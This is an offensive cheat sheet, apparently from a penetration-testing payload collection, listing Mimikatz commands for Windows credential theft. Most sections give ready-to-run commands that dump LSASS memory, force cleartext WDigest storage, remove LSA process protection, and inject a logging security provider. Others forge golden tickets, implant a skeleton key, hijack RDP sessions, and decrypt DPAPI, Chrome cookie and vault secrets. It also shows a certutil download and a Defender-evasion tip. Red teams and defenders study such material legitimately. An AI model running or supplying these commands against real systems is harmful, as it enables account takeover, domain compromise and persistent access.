# Windows - Mimikatz ## Summary * [Execute commands](#execute-commands) * [Extract passwords](#extract-passwords) * [LSA Protection Workaround](#lsa-protection-workaround) * [Mini Dump](#mini-dump) * [Pass The Hash](#pass-the-hash) * [Golden ticket](#golden-ticket) * [Skeleton key](#skeleton-key) * [RDP Session Takeover](#rdp-session-takeover) * [RDP Passwords](#rdp-passwords) * [Credential Manager & DPAPI](#credential-manager--dpapi) * [Chrome Cookies & Credential](#chrome-cookies--credential) * [Task Scheduled credentials](#task-scheduled-credentials) * [Vault](#vault) * [Commands list](#commands-list) * [Powershell version](#powershell-version) * [References](#references) ![Data in memory](http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png) ## Execute commands Only one command ```powershell PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit ``` Mimikatz console (multiple commands) ```powershell PS C:\temp\mimikatz> .\mimikatz mimikatz # privilege::debug mimikatz # log mimikatz # sekurlsa::logonpasswords mimikatz # sekurlsa::wdigest ``` ## Extract passwords > Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled. ```powershell mimikatz_command -f sekurlsa::logonPasswords full mimikatz_command -f sekurlsa::wdigest # to re-enable wdigest in Windows Server 2012+ # in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest # create a DWORD 'UseLogonCredential' with the value 1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1 ``` :warning: To take effect, conditions are required : - Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2: * Adding requires lock * Removing requires signout - Win10: * Adding requires signout * Removing requires signout - Win2016: * Adding requires lock * Removing requires reboot ## LSA Protection Workaround - LSA as a Protected Process (RunAsPPL) ```powershell # Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1 reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa # Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe # Now lets import the mimidriver.sys to the system mimikatz # !+ # Now lets remove the protection flags from lsass.exe process mimikatz # !processprotect /process:lsass.exe /remove # Finally run the logonpasswords function to dump lsass mimikatz # privilege::debug mimikatz # token::elevate mimikatz # sekurlsa::logonpasswords # Now lets re-add the protection flags to the lsass.exe process mimikatz # !processprotect /process:lsass.exe # Unload the service created mimikatz # !- # https://github.com/itm4n/PPLdump PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE> PPLdump.exe lsass.exe lsass.dmp PPLdump.exe -v 720 out.dmp ``` - LSA is running as virtualized process (LSAISO) by **Credential Guard** ```powershell # Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso # Lets inject our own malicious Security Support Provider into memory # require mimilib.dll in the same folder mimikatz # misc::memssp # Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log ``` ## Mini Dump Dump the lsass process with `procdump` > Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that. ```powershell # HTTP method - using the default way certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp # SMB method - using the pid net use Z: https://live.sysinternals.com tasklist /fi "imagename eq lsass.exe" # Find lsass's pid Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp ``` Dump the lsass process with `rundll32` ```powershell rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full ``` Use the minidump: * Mimikatz: `.\mimikatz.exe "sekurlsa::minidump lsass.dmp"` ```powershell mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonPasswords ``` * Pypykatz: `pypykatz lsa minidump lsass.dmp` ## Pass The Hash ```powershell mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell ``` ## Golden ticket ```powershell .\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt ``` ```powershell .\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit ``` ## Skeleton key ```powershell privilege::debug misc::skeleton # map the share net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz # login as someone rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab ``` ## RDP Session Takeover Use `ts::multirdp` to patch the RDP service to allow more than two users. * Enable privileges ```powershell privilege::debug token::elevate ``` * List RDP sessions ```powershell ts::sessions ``` * Hijack session ```powershell ts::remote /id:2 ``` Run `tscon.exe` as the SYSTEM user, you can connect to any session without a password. ```powershell # get the Session ID you want to hijack query user create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55" net start sesshijack ``` ## RDP Passwords Verify if the service is running: ```ps1 sc queryex termservice tasklist /M:rdpcorets.dll netstat -nob | Select-String TermService -Context 1 ``` * Extract passwords manually ```ps1 procdump64.exe -ma 988 -accepteula C:\svchost.dmp strings -el svchost* | grep Password123 -C3 ``` * Extract passwords using Mimikatz ```ps1 privilege::debug ts::logonpasswords ``` ## Credential Manager & DPAPI ```powershell # check the folder to find credentials dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\* # check the file with mimikatz $ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 # find master key $ mimikatz !sekurlsa::dpapi # use master key $ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b ``` ### Chrome Cookies & Credential ```powershell # Saved Cookies dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b # Saved Credential in Chrome dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect ``` ### Task Scheduled credentials ```powershell mimikatz(commandline) # vault::cred /patch TargetName : Domain:batch=TaskScheduler:Task:{CF3ABC3E-4B17-ABCD-0003-A1BA192CDD0B} / <NULL> UserName : DOMAIN\user Comment : <NULL> Type : 2 - domain_password Persist : 2 - local_machine Flags : 00004004 Credential : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Attributes : 0 ``` ### Vault ```powershell vault::cred /in:C:\Users\demo\AppData\Local\Microsoft\Vault\" ``` ## Commands list | Command |Definition| |:----------------:|:---------------| | CRYPTO::Certificates|list/export certificates| |CRYPTO::Certificates | list/export certificates| |KERBEROS::Golden | create golden/silver/trust tickets| |KERBEROS::List | list all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current user’s tickets.Similar to functionality of “klist”.| |KERBEROS::PTT | pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).| |LSADUMP::DCSync | ask a DC to synchronize an object (get password data for account). No need to run code on DC.| |LSADUMP::LSA | Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”| |LSADUMP::SAM | get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.| |LSADUMP::Trust | Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).| |MISC::AddSid | Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.| |MISC::MemSSP | Inject a malicious Windows SSP to log locally authenticated credentials.| |MISC::Skeleton | Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.| |PRIVILEGE::Debug | get debug rights (this or Local System rights is required for many Mimikatz commands).| |SEKURLSA::Ekeys | list Kerberos encryption keys| |SEKURLSA::Kerberos | List Kerberos credentials for all authenticated users (including services and computer account)| |SEKURLSA::Krbtgt | get Domain Kerberos service account (KRBTGT)password data| |SEKURLSA::LogonPasswords | lists all available provider credentials. This usually shows recently logged on user and computer credentials.| |SEKURLSA::Pth | Pass- theHash and Over-Pass-the-Hash| |SEKURLSA::Tickets | Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).| |TOKEN::List | list all tokens of the system| |TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box| |TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials. ## Powershell version Mimikatz in memory (no binary on disk) with : - [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire - [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit More information can be grabbed from the Memory with : - [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1) ## References - [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821) - [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/) - [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/) - [Dumping RDP Credentials - MAY 24, 2021](https://pentestlab.blog/2021/05/24/dumping-rdp-credentials/)